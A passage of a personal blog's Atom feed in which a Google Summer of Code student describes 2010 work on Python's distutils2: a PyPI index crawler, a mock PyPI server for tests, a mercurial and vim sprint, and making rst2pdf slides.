&lt;p&gt;I&amp;#8217;d not planned there will be so a high number of emails to read, in
order to follow what&amp;#8217;s up in the python world, and be a part of the
community seems to takes some times to read/write emails, especially for
those (like me) that arent so confortable with english (but this had
brought me some english fu&amp;nbsp;!).&lt;/p&gt;
&lt;h2 id="thanks"&gt;Thanks&amp;nbsp;!&lt;/h2&gt;
&lt;p&gt;A big thanks to &lt;a href="http://www.graine-libre.fr/"&gt;Graine Libre&lt;/a&gt; and &lt;a href="http://www.makina-corpus.com/"&gt;Makina
Corpus&lt;/a&gt;, which has offered me to come
into their offices from time to time, to share they cheerfulness ! Many
thanks too to the Google Summer of Code program for setting up such an
initiative. If you&amp;#8217;re a student, if you&amp;#8217;re interested about &lt;span class="caps"&gt;FOSS&lt;/span&gt;, dont
hesitate any second, it&amp;#8217;s a really good opportunity to work on
interesting&amp;nbsp;projects!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Sprinting on distutils2 in Tours</title><link href="https://blog.notmyidea.org/sprinting-on-distutils2-in-tours.html" rel="alternate"></link><published>2010-07-10T00:00:00+02:00</published><updated>2010-07-10T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-07-10:/sprinting-on-distutils2-in-tours.html</id><summary type="html">
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;date&lt;br&gt;&amp;nbsp;2010-07-06&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;category&lt;br&gt;&amp;nbsp;tech&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yesterday, as I was traveling to Tours, I&amp;#8217;ve took some time to visit
Éric, another student who&amp;#8217;s working on distutils2 this summer, as a
part of the GSoC. Basically, it was to take a drink, discuss a bit about
distutils2, our respective tasks and …&lt;/p&gt;</summary><content type="html">
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;date&lt;br&gt;&amp;nbsp;2010-07-06&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;category&lt;br&gt;&amp;nbsp;tech&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yesterday, as I was traveling to Tours, I&amp;#8217;ve took some time to visit
Éric, another student who&amp;#8217;s working on distutils2 this summer, as a
part of the GSoC. Basically, it was to take a drink, discuss a bit about
distutils2, our respective tasks and general feelings, and to put a face
on a pseudonym. I&amp;#8217;d really enjoyed this time, because Éric knows a lot
of things about mercurial and python good practices, and I&amp;#8217;m eager to
learn about those. So, we have discussed about things, have not wrote so
much code, but have some things to propose so far, about documentation,
and I also provides here some bribes of conversations we&amp;nbsp;had.&lt;/p&gt;
&lt;h2 id="documentation"&gt;Documentation&lt;/h2&gt;
&lt;p&gt;While writing the PyPI simple index crawler documentation, I realized
that we miss some structure, or how-to about the documentation. Yep, you
read well. We lack documentation on how to make documentation. Heh.
We&amp;#8217;re missing some rules to follow, and this lead to a not-so-structured
final documentation. We probably target three type of publics, and we
can split the documentation regarding&amp;nbsp;those:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Packagers&lt;/strong&gt; who want to distribute their&amp;nbsp;softwares.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;End users&lt;/strong&gt; who need to understand how to use end user commands,
    like the&amp;nbsp;installer/uninstaller&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;packaging coders&lt;/strong&gt; who &lt;em&gt;use&lt;/em&gt; distutils2, as a base for building a
    package&amp;nbsp;manager.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We also need to discuss about a pattern to follow while writing
documentation. How many parts do we need ? Where to put the &lt;span class="caps"&gt;API&lt;/span&gt;
description ? etc. That&amp;#8217;s maybe seems to be not so important, but I
guess the readers would appreciate to have the same structure all along
distutils2&amp;nbsp;documentation.&lt;/p&gt;
&lt;h2 id="mercurial"&gt;Mercurial&lt;/h2&gt;
&lt;p&gt;I&amp;#8217;m really &lt;em&gt;not&lt;/em&gt; a mercurial power user. I use it on daily basis, but I
lack of basic knowledge about it. Big thanks Éric for sharing yours with
me, you&amp;#8217;re of a great help. We have talked about some mercurial
extensions that seems to make the life simpler, while used the right
way. I&amp;#8217;ve not used them so far, so consider this as a personal&amp;nbsp;note.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;hg histedit, to edit the&amp;nbsp;history&lt;/li&gt;
&lt;li&gt;hg crecord, to select the changes to&amp;nbsp;commit&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We have spent some time to review a merge I made sunday, to re-merge it,
and commit the changes as a new changeset. Awesome. These things make me
say I &lt;strong&gt;need&lt;/strong&gt; to read &lt;a href="http://hgbook.red-bean.com/read/"&gt;the hg book&lt;/a&gt;,
and will do as soon as I got some spare time: mercurial seems to be
simply great. So &amp;#8230; Great. I&amp;#8217;m a powerful merger now&amp;nbsp;!&lt;/p&gt;
&lt;h2 id="on-using-tools"&gt;On using&amp;nbsp;tools&lt;/h2&gt;
&lt;p&gt;Because we &lt;em&gt;also&lt;/em&gt; are &lt;em&gt;hackers&lt;/em&gt;, we have shared a bit our ways to code,
the tools we use, etc. Both of us were using vim, and I&amp;#8217;ve discovered
vimdiff and hgtk, which will completely change the way I navigate into
the mercurial history. We aren&amp;#8217;t &amp;#8220;power users&amp;#8221;, so we have learned from
each other about vim tips. You can find &lt;a href="http://github.com/ametaireau/dotfiles"&gt;my dotfiles on
github&lt;/a&gt;, if it could help.
They&amp;#8217;re not perfect, and not intended to be, because changing all the
time, as I learn. Don&amp;#8217;t hesitate to have a look, and to propose
enhancements if you have&amp;nbsp;!&lt;/p&gt;
&lt;h2 id="on-being-pythonic"&gt;On being&amp;nbsp;pythonic&lt;/h2&gt;
&lt;p&gt;My background as an old Java user disserves me so far, as the paradigms
are not the same while coding in python. Hard to find the more pythonic
way to do, and sometimes hard to unlearn my way to think about software
engineering. Well, it seems that the only solution is to read code, and
to re-read import this from times to times ! &lt;a href="http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html"&gt;Coding like a
pythonista&lt;/a&gt;
seems to be a must-read, so, I know what to&amp;nbsp;do.&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It was really great. Next time, we&amp;#8217;ll need to focus a bit more on
distutils2, and to have a bullet list of things to do, but days like
this one are opportunities to catch ! We&amp;#8217;ll probably do another sprint
in a few weeks, stay tuned&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Introducing the distutils2 index crawlers</title><link href="https://blog.notmyidea.org/introducing-the-distutils2-index-crawlers.html" rel="alternate"></link><published>2010-07-06T00:00:00+02:00</published><updated>2010-07-06T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-07-06:/introducing-the-distutils2-index-crawlers.html</id><summary type="html">
&lt;p&gt;I&amp;#8217;m working for about a month for distutils2, even if I was being a bit
busy (as I had some class courses and exams to work&amp;nbsp;on)&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ll try do sum-up my general feelings here, and the work I&amp;#8217;ve made so
far. You can also find, if …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;I&amp;#8217;m working for about a month for distutils2, even if I was being a bit
busy (as I had some class courses and exams to work&amp;nbsp;on)&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ll try do sum-up my general feelings here, and the work I&amp;#8217;ve made so
far. You can also find, if you&amp;#8217;re interested, my weekly summaries in &lt;a href="http://wiki.notmyidea.org/distutils2_schedule"&gt;a
dedicated wiki page&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="general-feelings"&gt;General&amp;nbsp;feelings&lt;/h2&gt;
&lt;p&gt;First, and it&amp;#8217;s a really important point, the GSoC is going very well,
for me as for other students, at least from my perspective. It&amp;#8217;s a
pleasure to work with such enthusiast people, as this make the global
atmosphere very pleasant to&amp;nbsp;live.&lt;/p&gt;
&lt;p&gt;First of all, I&amp;#8217;ve spent time to read the existing codebase, and to
understand what we&amp;#8217;re going to do, and what&amp;#8217;s the rationale to do&amp;nbsp;so.&lt;/p&gt;
&lt;p&gt;It&amp;#8217;s really clear for me now: what we&amp;#8217;re building is the foundations of
a packaging infrastructure in python. The fact is that many projects
co-exists, and comes all with their good concepts. Distutils2 tries to
take the interesting parts of all, and to provide it in the python
standard libs, respecting the recently written &lt;span class="caps"&gt;PEP&lt;/span&gt; about&amp;nbsp;packaging.&lt;/p&gt;
&lt;p&gt;With distutils2, it will be simpler to make &amp;#8220;things&amp;#8221; compatible. So if
you think about a new way to deal with distributions and packaging in
python, you can use the Distutils2 APIs to do&amp;nbsp;so.&lt;/p&gt;
&lt;h2 id="tasks"&gt;Tasks&lt;/h2&gt;
&lt;p&gt;My main task while working on distutils2 is to provide an installation
and an un-installation command, as described in &lt;span class="caps"&gt;PEP&lt;/span&gt; 376. For this, I
first need to get informations about the existing distributions (what&amp;#8217;s
their version, name, metadata, dependencies,&amp;nbsp;etc.)&lt;/p&gt;
&lt;p&gt;The main index, you probably know and use, is PyPI. You can access it at
&lt;a href="http://pypi.python.org"&gt;http://pypi.python.org&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="pypi-index-crawling"&gt;PyPI index&amp;nbsp;crawling&lt;/h2&gt;
&lt;p&gt;There is two ways to get these informations from PyPI: using the simple
&lt;span class="caps"&gt;API&lt;/span&gt;, or via xml-rpc&amp;nbsp;calls.&lt;/p&gt;
&lt;p&gt;A goal was to use the version specifiers defined
in&lt;a href="http://www.python.org/dev/peps/pep-0345/"&gt;&lt;span class="caps"&gt;PEP&lt;/span&gt; 345&lt;/a&gt; and to provides a
way to sort the grabbed distributions depending our needs, to pick the
version we&amp;nbsp;want/need.&lt;/p&gt;
&lt;h3 id="using-the-simple-api"&gt;Using the simple &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;The simple &lt;span class="caps"&gt;API&lt;/span&gt; is composed of &lt;span class="caps"&gt;HTML&lt;/span&gt; pages you can access at
&lt;a href="http://pypi.python.org/simple/"&gt;http://pypi.python.org/simple/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Distribute and Setuptools already provides a crawler for that, but it
deals with their internal mechanisms, and I found that the code was not
so clear as I want, that&amp;#8217;s why I&amp;#8217;ve preferred to pick up the good ideas,
and some implementation details, plus re-thinking the global&amp;nbsp;architecture.&lt;/p&gt;
&lt;p&gt;The rules are simple: each project have a dedicated page, which allows
us to get informations&amp;nbsp;about:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the distribution download locations (for some&amp;nbsp;versions)&lt;/li&gt;
&lt;li&gt;homepage&amp;nbsp;links&lt;/li&gt;
&lt;li&gt;some other useful informations, as the bugtracker address, for&amp;nbsp;instance.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you want to find all the distributions of the &amp;#8220;EggsAndSpam&amp;#8221; project,
you could do the following (do not take so attention to the names here,
as the &lt;span class="caps"&gt;API&lt;/span&gt; will probably change a&amp;nbsp;bit):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SimpleIndex&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;EggsAndSpam&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We also could use version&amp;nbsp;specifiers:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;index&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;EggsAndSpam (&amp;lt; =1.2)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;EggsAndSpam&lt;/span&gt; &lt;span class="mf"&gt;1.2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Internally, what&amp;#8217;s done here is the&amp;nbsp;following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;it process the &lt;a href="http://pypi.python.org/simple/FooBar/"&gt;http://pypi.python.org/simple/FooBar/&lt;/a&gt; page,
    searching for download&amp;nbsp;URLs.&lt;/li&gt;
&lt;li&gt;for each found distribution download &lt;span class="caps"&gt;URL&lt;/span&gt;, it creates an object,
    containing informations about the project name, the version and the
    &lt;span class="caps"&gt;URL&lt;/span&gt; where the archive&amp;nbsp;remains.&lt;/li&gt;
&lt;li&gt;it sort the found distributions, using version numbers. The default
    behavior here is to prefer source distributions (over binary ones),
    and to rely on the last &amp;#8220;final&amp;#8221; distribution (rather than beta,
    alpha etc.&amp;nbsp;ones)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So, nothing hard or difficult&amp;nbsp;here.&lt;/p&gt;
&lt;p&gt;We provides a bunch of other features, like relying on the new PyPI
mirroring infrastructure or filter the found distributions by some
criterias. If you&amp;#8217;re curious, please browse the &lt;a href="http://distutils2.notmyidea.org/"&gt;distutils2
documentation&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="using-xml-rpc"&gt;Using&amp;nbsp;xml-rpc&lt;/h3&gt;
&lt;p&gt;We also can make some xmlrpc calls to retreive informations from PyPI.
It&amp;#8217;s a really more reliable way to get informations from from the index
(as it&amp;#8217;s just the index that provides the informations), but cost
processes on the PyPI distant&amp;nbsp;server.&lt;/p&gt;
&lt;p&gt;For now, this way of querying the xmlrpc client is not available on
Distutils2, as I&amp;#8217;m working on it. The main pieces are already present
(I&amp;#8217;ll reuse some work I&amp;#8217;ve made from the SimpleIndex querying, and &lt;a href="http://github.com/ametaireau/pypiclient"&gt;some
code already set up&lt;/a&gt;), what I
need to do is to provide a xml-rpc PyPI mock server, and that&amp;#8217;s on what
I&amp;#8217;m actually working&amp;nbsp;on.&lt;/p&gt;
&lt;h2 id="processes"&gt;Processes&lt;/h2&gt;
&lt;p&gt;For now, I&amp;#8217;m trying to follow the &amp;#8220;documentation, then test, then code&amp;#8221;
path, and that seems to be really needed while working with a community.
Code is hard to read/understand, compared to documentation, and it&amp;#8217;s
easier to&amp;nbsp;change.&lt;/p&gt;
&lt;p&gt;While writing the simple index crawling work, I must have done this to
avoid some changes on the &lt;span class="caps"&gt;API&lt;/span&gt;, and some loss of&amp;nbsp;time.&lt;/p&gt;
&lt;p&gt;Also, I&amp;#8217;ve set up &lt;a href="http://wiki.notmyidea.org/distutils2_schedule"&gt;a
schedule&lt;/a&gt;, and the goal
is to be sure everything will be ready in time, for the end of the
summer. (And now, I need to learn to follow schedules&amp;nbsp;&amp;#8230;)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Use Restructured Text (ReST) to power your presentations</title><link href="https://blog.notmyidea.org/use-restructured-text-rest-to-power-your-presentations.html" rel="alternate"></link><published>2010-06-25T00:00:00+02:00</published><updated>2010-06-25T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-06-25:/use-restructured-text-rest-to-power-your-presentations.html</id><summary type="html">
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;date&lt;br&gt;&amp;nbsp;2010-06-25&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;category&lt;br&gt;&amp;nbsp;tech&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Wednesday, we give a presentation, with some friends, about the CouchDB
Database, to &lt;a href="http://www.toulibre.org"&gt;the Toulouse local &lt;span class="caps"&gt;LUG&lt;/span&gt;&lt;/a&gt;. Thanks a
lot to all the presents for being there, it was a pleasure to talk about
this topic with you. Too bad the season is over now an …&lt;/p&gt;</summary><content type="html">
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;date&lt;br&gt;&amp;nbsp;2010-06-25&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;category&lt;br&gt;&amp;nbsp;tech&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Wednesday, we give a presentation, with some friends, about the CouchDB
Database, to &lt;a href="http://www.toulibre.org"&gt;the Toulouse local &lt;span class="caps"&gt;LUG&lt;/span&gt;&lt;/a&gt;. Thanks a
lot to all the presents for being there, it was a pleasure to talk about
this topic with you. Too bad the season is over now an I quit Toulouse
next&amp;nbsp;year.&lt;/p&gt;
&lt;p&gt;During our brainstorming about the topic, we used some paper, and we
wanted to make a presentation the simpler way. First thing that come to
my mind was using &lt;a href="http://docutils.sourceforge.net/rst.html"&gt;restructured
text&lt;/a&gt;, so I&amp;#8217;ve wrote a simple
file containing our different bullet points. In fact, there is quite
nothing to do then, to have a working&amp;nbsp;presentation.&lt;/p&gt;
&lt;p&gt;So far, I&amp;#8217;ve used &lt;a href="http://code.google.com/p/rst2pdf/"&gt;the rst2pdf
program&lt;/a&gt;, and a simple template, to
generate output. It&amp;#8217;s probably simple to have similar results using
latex + beamer, I&amp;#8217;ll try this next time, but as I&amp;#8217;m not familiar with
latex syntax, restructured text was a great&amp;nbsp;option.&lt;/p&gt;
&lt;p&gt;Here are &lt;a href="http://files.lolnet.org/alexis/rst-presentations/couchdb/couchdb.pdf"&gt;the final &lt;span class="caps"&gt;PDF&lt;/span&gt;
output&lt;/a&gt;,
&lt;a href="http://files.lolnet.org/alexis/rst-presentations/couchdb/couchdb.rst"&gt;Rhe ReST
source&lt;/a&gt;,
&lt;a href="http://files.lolnet.org/alexis/rst-presentations/slides.style"&gt;the theme
used&lt;/a&gt;,
and the command line to generate the &lt;span class="caps"&gt;PDF&lt;/span&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;rst2pdf couchdb.rst -b1 -s ../slides.style
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</content><category term="code"></category></entry><entry><title>first week working on distutils2</title><link href="https://blog.notmyidea.org/first-week-working-on-distutils2.html" rel="alternate"></link><published>2010-06-04T00:00:00+02:00</published><updated>2010-06-04T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-06-04:/first-week-working-on-distutils2.html</id><summary type="html">
&lt;p&gt;As I&amp;#8217;ve been working on &lt;a href="http://hg.python.org/distutils2/"&gt;Distutils2&lt;/a&gt;
during the past week, taking part of the
&lt;a href="http://code.google.com/intl/fr/soc/"&gt;&lt;span class="caps"&gt;GSOC&lt;/span&gt;&lt;/a&gt; program, here is a short
summary of what I&amp;#8217;ve done so&amp;nbsp;far.&lt;/p&gt;
&lt;p&gt;As my courses are not over yet, I&amp;#8217;ve not worked as much as I wanted, and
this will continues until …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;As I&amp;#8217;ve been working on &lt;a href="http://hg.python.org/distutils2/"&gt;Distutils2&lt;/a&gt;
during the past week, taking part of the
&lt;a href="http://code.google.com/intl/fr/soc/"&gt;&lt;span class="caps"&gt;GSOC&lt;/span&gt;&lt;/a&gt; program, here is a short
summary of what I&amp;#8217;ve done so&amp;nbsp;far.&lt;/p&gt;
&lt;p&gt;As my courses are not over yet, I&amp;#8217;ve not worked as much as I wanted, and
this will continues until the end of June. My main tasks are about
making installation and uninstallation commands, to have a simple way to
install distributions via
&lt;a href="http://hg.python.org/distutils2/"&gt;Distutils2&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To do this, we need to rely on informations provided by the Python
Package Index (&lt;a href="http://pypi.python.org/"&gt;PyPI&lt;/a&gt;), and there is at least
two ways to retreive informations from here: &lt;span class="caps"&gt;XML&lt;/span&gt;-&lt;span class="caps"&gt;RPC&lt;/span&gt; and the &amp;#8220;simple&amp;#8221;
&lt;span class="caps"&gt;API&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;So, I&amp;#8217;ve been working on porting some
&lt;a href="http://bitbucket.org/tarek/distribute/"&gt;Distribute&lt;/a&gt; related stuff to
&lt;a href="http://hg.python.org/distutils2/"&gt;Distutils2&lt;/a&gt;, cutting off all non
distutils&amp;#8217; things, as we do not want to depend from Distribute&amp;#8217;s
internals. My main work has been about reading the whole code, writing
tests about this and making those tests&amp;nbsp;possible.&lt;/p&gt;
&lt;p&gt;In fact, there was a need of a pypi mocked server, and, after reading
and introducing myself to the distutils behaviors and code, I&amp;#8217;ve taken
some time to improve the work &lt;a href="http://bitbucket.org/konrad"&gt;Konrad&lt;/a&gt;
makes about this&amp;nbsp;mock.&lt;/p&gt;
&lt;h2 id="a-pypi-server-mock"&gt;A PyPI Server&amp;nbsp;mock&lt;/h2&gt;
&lt;p&gt;The mock is embeded in a thread, to make it available during the tests,
in a non blocking way. We first used &lt;a href="http://wsgi.org"&gt;&lt;span class="caps"&gt;WSGI&lt;/span&gt;&lt;/a&gt; and
&lt;a href="http://docs.python.org/library/wsgiref.html"&gt;wsgiref&lt;/a&gt; in order control
what to serve, and to log the requests made to the server, but finally
realised that &lt;a href="http://docs.python.org/library/wsgiref.html"&gt;wsgiref&lt;/a&gt; is
not python 2.4 compatible (and we &lt;em&gt;need&lt;/em&gt; to be python 2.4 compatible in&amp;nbsp;Distutils2).&lt;/p&gt;
&lt;p&gt;So, we switched to
&lt;a href="http://docs.python.org/library/basehttpserver.html"&gt;BaseHTTPServer&lt;/a&gt; and
&lt;a href="http://docs.python.org/library/simplehttpserver.html"&gt;SimpleHTTPServer&lt;/a&gt;,
and updated our tests accordingly. It&amp;#8217;s been an opportunity to realize
that &lt;a href="http://wsgi.org"&gt;&lt;span class="caps"&gt;WSGI&lt;/span&gt;&lt;/a&gt; has been a great step forward for making
&lt;span class="caps"&gt;HTTP&lt;/span&gt; servers, and expose a really simplest way to discuss with &lt;span class="caps"&gt;HTTP&lt;/span&gt;&amp;nbsp;!&lt;/p&gt;
&lt;p&gt;You can find &lt;a href="http://bitbucket.org/ametaireau/distutils2/changesets"&gt;the modifications I
made&lt;/a&gt;, and the
&lt;a href="http://bitbucket.org/ametaireau/distutils2/src/tip/docs/source/test_framework.rst"&gt;related
docs&lt;/a&gt;
about this on &lt;a href="http://bitbucket.org/ametaireau/distutils2/"&gt;my bitbucket distutils2
clone&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="the-pypi-simple-api"&gt;The PyPI Simple &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;So, back to the main problematic: make a python library to access and
request information stored on PyPI, via the simple &lt;span class="caps"&gt;API&lt;/span&gt;. As I said, I&amp;#8217;ve
just grabbed the work made from
&lt;a href="http://bitbucket.org/tarek/distribute/"&gt;Distribute&lt;/a&gt;, and played a bit
with, in order to view what are the different use cases, and started to
write the related&amp;nbsp;tests.&lt;/p&gt;
&lt;h2 id="the-work-to-come"&gt;The work to&amp;nbsp;come&lt;/h2&gt;
&lt;p&gt;So, once all use cases covered with tests, I&amp;#8217;ll rewrite a bit the
grabbed code, and do some software design work (to not expose all things
as privates methods, have a clear &lt;span class="caps"&gt;API&lt;/span&gt;, and other things like this), then
update the tests accordingly and write a documentation to make this&amp;nbsp;clear.&lt;/p&gt;
&lt;p&gt;Next step is to a little client, as I&amp;#8217;ve &lt;a href="http://github.com/ametaireau/pypiclient"&gt;already started
here&lt;/a&gt; I&amp;#8217;ll take you updated&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>A Distutils2 GSoC</title><link href="https://blog.notmyidea.org/a-distutils2-gsoc.html" rel="alternate"></link><published>2010-05-01T00:00:00+02:00</published><updated>2010-05-01T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-05-01:/a-distutils2-gsoc.html</id><summary type="html">
&lt;p&gt;&lt;span class="caps"&gt;WOW&lt;/span&gt;. I&amp;#8217;ve been accepted to be a part of the &lt;a href="http://code.google.com/intl/fr/soc/"&gt;Google Summer Of
Code&lt;/a&gt; program, and will work on
&lt;a href="http://python.org/"&gt;python&lt;/a&gt; &lt;a href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt;, with &lt;a href="http://pygsoc.wordpress.com/"&gt;a&lt;/a&gt; &lt;a href="http://konryd.blogspot.com/"&gt;lot&lt;/a&gt; &lt;a href="http://ziade.org/"&gt;of&lt;/a&gt; (intersting !) &lt;a href="http://zubin71.wordpress.com/"&gt;people&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So, it&amp;#8217;s about building the successor of Distutils2, ie. &amp;#8220;the python
package manager&amp;#8221;. Today, there is too many ways to package …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">
&lt;p&gt;&lt;span class="caps"&gt;WOW&lt;/span&gt;. I&amp;#8217;ve been accepted to be a part of the &lt;a href="http://code.google.com/intl/fr/soc/"&gt;Google Summer Of
Code&lt;/a&gt; program, and will work on
&lt;a href="http://python.org/"&gt;python&lt;/a&gt; &lt;a href="http://hg.python.org/distutils2/"&gt;distutils2&lt;/a&gt;, with &lt;a href="http://pygsoc.wordpress.com/"&gt;a&lt;/a&gt; &lt;a href="http://konryd.blogspot.com/"&gt;lot&lt;/a&gt; &lt;a href="http://ziade.org/"&gt;of&lt;/a&gt; (intersting !) &lt;a href="http://zubin71.wordpress.com/"&gt;people&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So, it&amp;#8217;s about building the successor of Distutils2, ie. &amp;#8220;the python
package manager&amp;#8221;. Today, there is too many ways to package a python
application (pip, setuptools, distribute, distutils, etc.) so there is
a huge effort to make in order to make all this packaging stuff
interoperable, as pointed out by
the &lt;a href="http://www.python.org/dev/peps/pep-0376/"&gt;&lt;span class="caps"&gt;PEP&lt;/span&gt; 376&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In more details, I&amp;#8217;m going to work on the Installer / Uninstaller features of Distutils2, and on a PyPI &lt;span class="caps"&gt;XML&lt;/span&gt;-&lt;span class="caps"&gt;RPC&lt;/span&gt; client for distutils2. Here are the already defined&amp;nbsp;tasks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Implement Distutils2 APIs described in &lt;span class="caps"&gt;PEP&lt;/span&gt;&amp;nbsp;376.&lt;/li&gt;
&lt;li&gt;Add the uninstall&amp;nbsp;command.&lt;/li&gt;
&lt;li&gt;think about a basic installer / uninstaller script. (with deps) &amp;#8212;
    similar to&amp;nbsp;pip/easy_install&lt;/li&gt;
&lt;li&gt;in a pypi&amp;nbsp;subpackage;&lt;/li&gt;
&lt;li&gt;Integrate a module similar to setuptools&amp;#8217;&amp;nbsp;package_index&amp;#8217;&lt;/li&gt;
&lt;li&gt;PyPI &lt;span class="caps"&gt;XML&lt;/span&gt;-&lt;span class="caps"&gt;RPC&lt;/span&gt; client for distutils 2:
    &lt;a href="http://bugs.python.org/issue8190"&gt;http://bugs.python.org/issue8190&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I&amp;#8217;m relatively new to python, I&amp;#8217;ll need some extra work in order to apply all good practice, among other things that can make a developper-life joyful. I&amp;#8217;ll post here, each week, my advancement, and my tought about python and especialy python packaging&amp;nbsp;world.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Python ? go !</title><link href="https://blog.notmyidea.org/python-go.html" rel="alternate"></link><published>2009-12-17T00:00:00+01:00</published><updated>2009-12-17T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2009-12-17:/python-go.html</id><summary type="html">
&lt;p&gt;Cela fait maintenant un peu plus d&amp;#8217;un mois que je travaille sur un
projet en &lt;a href="http://www.djangoproject.org"&gt;django&lt;/a&gt;, et que,
nécessairement, je me forme à &lt;a href="http://python.org/"&gt;Python&lt;/a&gt;. Je prends
un plaisir non dissimulé à découvrir ce langage (et à l&amp;#8217;utiliser), qui
ne cesse de me surprendre. Les premiers mots qui me …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Cela fait maintenant un peu plus d&amp;#8217;un mois que je travaille sur un
projet en &lt;a href="http://www.djangoproject.org"&gt;django&lt;/a&gt;, et que,
nécessairement, je me forme à &lt;a href="http://python.org/"&gt;Python&lt;/a&gt;. Je prends
un plaisir non dissimulé à découvrir ce langage (et à l&amp;#8217;utiliser), qui
